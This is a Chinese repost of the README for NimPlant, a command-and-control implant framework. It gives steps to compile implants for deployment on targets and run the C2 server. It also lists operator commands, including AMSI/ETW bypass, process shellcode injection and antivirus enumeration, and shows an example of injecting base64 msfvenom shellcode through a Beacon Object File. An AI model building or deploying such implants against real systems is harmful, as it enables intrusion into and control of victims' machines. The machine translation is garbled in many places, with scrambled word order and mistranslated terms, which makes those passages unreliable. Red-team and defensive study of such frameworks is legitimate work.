一个用Nim编写的轻量级的C2第一阶段工具 | NimPlant

作者:Sec-Labs | 发布时间:

 

ad1a1b7183144810

 

项目地址

https://github.com/chvancooten/NimPlant

NimPlant - 用 Nim 和 Python 编写的轻型第一阶段 C2 植入程序

Cas van Cooten ( @chvancooten ),特别感谢一些很棒的人:

如果 NimPlant 对您有用和/或您喜欢我的工作,欢迎您的支持:

功能概述

  • 用 Nim 编程语言编写的轻量级可配置植入程序
  • 漂亮的网络图形用户界面,让您在所有操作中看起来很酷
  • 默认情况下对所有流量进行加密和压缩,混淆植入物中的静态字符串
  • 支持多种植入类型,包括本机二进制文件 (exe/dll)、shellcode 或自删除可执行文件
  • 广泛的命令选择专注于早期阶段的操作,包括本地枚举、文件或注册表管理以及 Web 交互
  • inline-execute 通过、 shinject (使用动态调用)或线程内 轻松部署更高级的功能或有效负载 execute-assembly
  • 支持在任何平台上运行,目前只针对 x64 Windows 植入
  • 全面记录所有交互和文件操作
  • 很多很多,请看下面:)

指示

安装

  • 在您选择的操作系统上安装 Nim 和 Python3( choosenim 建议通过安装,因为 apt 并不总是有最新版本)。
  • 使用 Nimble 包管理器 ( cd client; nimble install -d ) 安装所需的包。
  • requirements.txt 从服务器文件夹 ( ) 安装 pip3 install -r server/requirements.txt
  • 如果您使用的是 Linux 或 MacOS,请 mingw 为您的平台安装工具链( brew install mingw-w64apt install mingw-w64 )。

入门

配置

在使用 NimPlant 之前,创建配置文件 config.toml . 建议 config.toml.example 从那里复制和工作。

下面提供了设置的概述。

类别 环境 描述
服务器 ip C2 Web 服务器(包括 API)将侦听的 IP。 推荐使用 127.0.0.1,仅在设置了适当的防火墙或路由规则以保护 C2 时才使用 0.0.0.0。
服务器 端口 C2 Web 服务器(包括 API)将侦听的端口。
倾听者 类型 侦听器类型,HTTP 或 HTTPS。 下面配置的 HTTPS 选项。
倾听者 证书路径 HTTPS 证书文件的本地路径(例如通过 LetsEncrypt CertBot 请求或自签名)。 当侦听器类型为“HTTP”时被忽略。
倾听者 ssl密钥路径 相应 HTTPS 证书私钥文件的本地路径。 如果设置了密码,运行 NimPlant 服务器时将提示密码。 当侦听器类型为“HTTP”时被忽略。
倾听者 主机名 侦听器主机名。 如果不为空 (""),NimPlant 将使用此主机名进行连接。 确保您正确地将流量从该主机路由到 NimPlant 侦听器端口。
倾听者 ip 侦听器 IP。 即使设置了“主机名”也是必需的,因为服务器使用它来注册此 IP。
倾听者 端口 侦听器端口。 即使设置了 'hostname' 也是必需的,因为它被服务器用来在这个端口上注册。
倾听者 注册路径 新 NimPlants 将注册的 URI 路径。
倾听者 任务路径 NimPlants 将从中获取任务的 URI 路径。
倾听者 结果路径 NimPlants 将结果提交到的 URI 路径。
尼普兰特 风险模式 编译 NimPlant 以支持有风险的命令。 建议由运营商自行决定。 execute-assembly 禁用将移除对、 powershellshell 的 支持 shinject
尼普兰特 睡眠面膜 是否使用 Ekko 睡眠面罩代替常规睡眠需要 Nimplants。 目前仅适用于常规可执行文件!
尼普兰特 睡觉时间 新 NimPlants 的默认睡眠时间(以秒为单位)。
尼普兰特 睡眠抖动 新 NimPlants 的默认抖动百分比。
尼普兰特 终止日期 Nimplants 的终止日期(格式:yyyy-MM-dd)。 如果该日期已过,Nimplants 将退出。
尼普兰特 用户代理 NimPlants 使用的用户代理。 服务器也使用它来验证 NimPlant 流量,因此建议选择不显眼但不太普遍的 UA。

汇编

一旦配置符合您的喜好,您就可以生成 NimPlant 二进制文件以部署在您的目标上。 目前,NimPlant 分别支持 .exe (自删除)可执行文件、库和与位置无关的 shellcode(通过 sRDI)的 、 .dll.bin 二进制文件。 要生成,运行 python NimPlant.py compile 后跟您首选的二进制文件( exeexe-selfdeletedllrawall )以及可选的植入类型( nimnim-debug )。 文件将写入 client/bin/ .

您可以传递 rotatekey 参数以在编译期间生成和使用新的 XOR 密钥。

注意事项

  • NimPlant 目前仅支持 x64!
  • DLL 文件的入口点是 Update ,它由 DllMain 为所有入口点触发。 这意味着您可以使用 eg rundll32 .\NimPlant.dll,Update 来触发,或使用您选择的 LOLBIN 来加载它(可能需要在 中进行一些修改 client/NimPlant.nim

PS C:\NimPlant> python .\NimPlant.py compile all

                  *    *(#    #
                  **  **(##  ##
         ########       (       ********
        ####(###########************,****
           # ########       ******** *
           .###                   ***
           .########         ********
           ####    ###     ***    ****
         ######### ###     *** *********
       #######  ####  ## **  ****  *******
       #####    ##      *      **    *****
       ######  ####   ##***   **** .******
       ###############     ***************
            ##########     **********
               #########**********
                 #######********
     _   _ _           ____  _             _
    | \ | (_)_ __ ___ |  _ \| | __ _ _ __ | |_
    |  \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
    | |\  | | | | | | |  __/| | (_| | | | | |_
    |_| \_|_|_| |_| |_|_|   |_|\__,_|_| |_|\__|

        A light-weight stage 1 implant and C2 based on Nim and Python
        By Cas van Cooten (@chvancooten)

Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

使用 Docker 编译

Docker 镜像 chvancooten/nimbuild 可用于编译 NimPlant 二进制文件。 使用 Docker 很容易,并且可以避免依赖性问题,因为所有必需的依赖性都已预先安装在此容器中。

要使用它,请为您的操作系统安装 Docker 并在容器中启动编译,如下所示。

docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPlant.py compile all

用法

准备好二进制文件后,您可以启动 NimPlant 服务器! 不需要额外的配置,因为它从同一个 config.toml 文件中读取。 要启动服务器,只需运行 python NimPlant.py server (如果在 Linux 上运行,则使用 sudo 权限)。 您可以在 Nimplant 签入后使用控制台,或访问 Web 界面 http://localhost:31337 (默认情况下)。

注意事项

  • 如果您在编译二进制文件的机器外部运行 NimPlant 服务器,请确保两者 config.toml.xorkey 匹配。 否则,NimPlant 将无法连接。
  • 如果 NimPlant 无法连接到服务器或失去连接,它将在尝试重新注册之前使用指数退避时间重试 5 次。 如果它再注册 5 次失败(相同的退避逻辑),它就会自杀。 每次尝试失败时,回退都会使休眠时间增加三倍。 比如休眠时间是10秒,它会等待10,然后30(3^1 * 10),然后90(3^2 * 10),然后270(3^3 * 10),然后810秒之前放弃(这些参数是硬编码的,但可以在 中更改 client/NimPlant.nim )。
  • 日志存储在 server/.logs 目录中。 每个服务器实例都会创建一个新的日志文件夹,并且日志会根据控制台/nimplant 会话进行拆分。
  • Nimplant 和服务器详细信息存储在位于 server/nimplant.db . 此数据还用于在服务器重启后恢复 Nimplants。
  • Web 前端或 API 不支持身份验证,因此在没有安全反向代理的情况下, 不要 前端端口暴露给任何不受信任的网络!

PS C:\NimPlant> python .\NimPlant.py server

                  *    *(#    #
                  **  **(##  ##
         ########       (       ********
        ####(###########************,****
           # ########       ******** *
           .###                   ***
           .########         ********
           ####    ###     ***    ****
         ######### ###     *** *********
       #######  ####  ## **  ****  *******
       #####    ##      *      **    *****
       ######  ####   ##***   **** .******
       ###############     ***************
            ##########     **********
               #########**********
                 #######********
     _   _ _           ____  _             _
    | \ | (_)_ __ ___ |  _ \| | __ _ _ __ | |_
    |  \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
    | |\  | | | | | | |  __/| | (_| | | | | |_
    |_| \_|_|_| |_| |_|_|   |_|\__,_|_| |_|\__|

        A light-weight stage 1 implant and C2 written in Nim and Python
        By Cas van Cooten (@chvancooten)

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

这将启动 C2 API 和管理 Web 服务器(在上面的示例中 http://127.0.0.1:31337 )和 NimPlant 侦听器(在上面的示例中 https://0.0.0.0:443 )。 NimPlant 签入后,您可以使用 Web 界面和控制台向 NimPlant 发送命令。

可用命令如下。 您可以通过键入获得任何命令的详细帮助 help [command] 。 某些用 (GUI) 表示的命令可以在使用 Web 界面时以图形方式配置,这可以通过调用不带任何参数的命令来完成。

Command arguments shown as [required] <optional>.
Commands with (GUI) can be run without parameters via the web UI.

cancel            Cancel all pending tasks.
cat               [filename] Print a file's contents to the screen.
cd                [directory] Change the working directory.
clear             Clear the screen.
cp                [source] [destination] Copy a file or directory.
curl              [url] Get a webpage remotely and return the results.
download          [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env               Get environment variables.
execute-assembly  (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit              Exit the server, killing all NimPlants.
getAv             List Antivirus / EDR products on target using WMI.
getDom            Get the domain the target is joined to.
getLocalAdm       List local administrators on the target using WMI.
getpid            Show process ID of the currently selected NimPlant.
getprocname       Show process name of the currently selected NimPlant.
help              <command> Show this help menu or command-specific help.
hostname          Show hostname of the currently selected NimPlant.
inline-execute    (GUI) [localfilepath] [entrypoint] <arg1 type1 arg2 type2..> Execute Beacon Object Files (BOF) from memory.
ipconfig          List IP address information of the currently selected NimPlant.
kill              Kill the currently selected NimPlant.
list              Show list of active NimPlants.
listall           Show list of all NimPlants.
ls                <path> List files and folders in a certain directory. Lists current directory by default.
mkdir             [directory] Create a directory (and its parent directories if required).
mv                [source] [destination] Move a file or directory.
nimplant          Show info about the currently selected NimPlant.
osbuild           Show operating system build information for the currently selected NimPlant.
powershell        <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps                List running processes on the target. Indicates current process.
pwd               Get the current working directory.
reg               [query|add] [path] <key> <value> Query or modify the registry. New values will be added as REG_SZ.
rm                [file] Remove a file or directory.
run               [binary] <arguments> Run a binary from disk. Returns output but blocks NimPlant while running.
select            [id] Select another NimPlant.
shell             [command] Execute a shell command.
shinject          [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep             [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
upload            (GUI) [localfilepath] <remotefilepath> Upload a file from the NimPlant server to the victim machine.
wget              [url] <remotefilepath> Download a file to disk remotely.
whoami            Get the user ID that NimPlant is running as.

使用信标对象文件 (BOF)

注意:BOF 本质上是易变的,运行错误的 BOF 或传递错误的参数或类型将使您的 NimPlant 会话崩溃! 确保在部署之前测试 BOF!

得益于出色的NiCOFF 项目 ,NimPlant 支持 BOF 的内存加载 。 运行一个 bof 需要一个本地编译的 BOF 目标文件(通常称为 bofname.x64.o )、一个入口点(通常称为 go )和一个参数列表及其各自的参数类型。 参数以空格分隔的对的 arg argtype 形式传递。

参数按照“Zzsib”格式给出,因此可以是 string (别名: z ), wstring (或 Z ), integer (别名: inti ), shorts ),或 binarybinb )。 二进制参数可以是原始二进制字符串或 base64 编码,建议使用后者以避免出现错误字符。

下面给出了一些使用示例(使用宏伟的 TrustedSec BOF [ 1 , 2 ] 作为示例)。 请注意, inline-execute (不带参数)可用于在 GUI 中以图形方式配置命令。

# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

推送通知

notify_user() 默认 情况下,NimPlant 支持通过 server/util/notify.py . 默认情况下,它实现了一个简单的电报通知,需要 在触发之前设置 TELEGRAM_CHAT_ID 和环境变量。 TELEGRAM_BOT_TOKEN 当然,代码可以很容易地扩展自己的推送通知功能。 notify_user() 当一个新的 NimPlant 签入并接收到一个包含 NimPlant 详细信息的对象时,该挂钩将被调用,然后可以根据需要推送该对象 。

构建前端

作为普通用户,您不必修改或重新构建 Nimplant 附带的 UI。 但是,如果您希望进行更改,请安装 NodeJS 并 npm installui 目录中运行一段时间。 然后运行 ui/build-ui.py 。 这将负责拉取包、编译 Next.JS 前端并将文件放置在正确的位置以供 Nimplant 服务器使用它们。

关于生产使用和 OPSEC 的一句话

NimPlant 是作为一个学习项目开发的,并出于透明度和教育目的向公众发布。 在很大程度上,它毫不掩饰自己的意图。 此外,还采取了保护措施以防止滥用。 换句话说, 在没有彻底审查和修改源代码的情况下,不要按原样在生产活动中使用 NimPlant ! 还要记住,与任何 C2 框架一样,在部署之前应考虑运行某些命令的 OPSEC 指纹。 riskyMode 通过设置为 false in ,可以在没有 OPSEC 风险命令的情况下编译 NimPlant config.toml

故障排除

Nimplant 无法编译或运行的原因有很多。 如果您遇到问题,请尝试以下操作(按顺序):

  • 确保您按照上面“安装”部分中描述的步骤进行操作,仔细检查是否安装了所有依赖项并且版本匹配
  • 确保您按照上面“编译”部分中描述的步骤进行操作,并且您已使用 chvancooten/nimbuild docker 容器排除任何依赖性问题
  • 检查目录中的日志 server/.logs 是否有任何错误
  • 尝试 nim-debug 编译模式编译控制台和调试消息(.exe only)看是否返回任何错误消息
  • 尝试从另一个操作系统或使用另一个工具链编译以查看是否发生相同的错误
  • 如果以上都失败,请提交问题。 确保包括适当的构建信息(操作系统、nim/python 版本、依赖项版本)和上述故障排除步骤的结果。 不完整的问题可能会关闭,恕不另行通知。

标签:工具分享, C2框架, NimPlant